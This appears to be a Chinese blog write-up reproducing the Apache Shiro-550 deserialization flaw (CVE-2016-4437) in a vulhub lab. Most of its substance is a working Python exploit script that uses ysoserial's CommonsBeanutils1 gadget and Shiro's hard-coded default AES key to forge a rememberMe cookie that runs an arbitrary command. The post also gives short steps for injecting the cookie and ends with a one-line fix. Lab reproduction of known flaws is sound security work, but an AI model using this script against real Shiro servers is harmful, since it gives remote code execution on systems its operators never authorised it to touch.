shiro-550漏洞复现(CVE-2016-4437)

漏洞概述

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

影响范围

Apache Shiro版本<=1.2.4

漏洞复现

  1. 使用vulhub起shiro对应环境
    在这里插入图片描述
  2. gadget使用CommonsBeanutils1,通过Shiro的默认密钥生成序列化好的rememberMecookie字段,内容在payload.cookie文件中,执行的命令为在/tmp目录下创建success文件。
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

  1. 将payload.cookie中的rememberMe字段值插入到原始请求。
    shiro-550漏洞复现(CVE-2016-4437)_第1张图片
  2. docker中/tmp目录下成功创建success文件
    在这里插入图片描述

修复方案

升级shiro至最新版本

你可能感兴趣的:(渗透测试)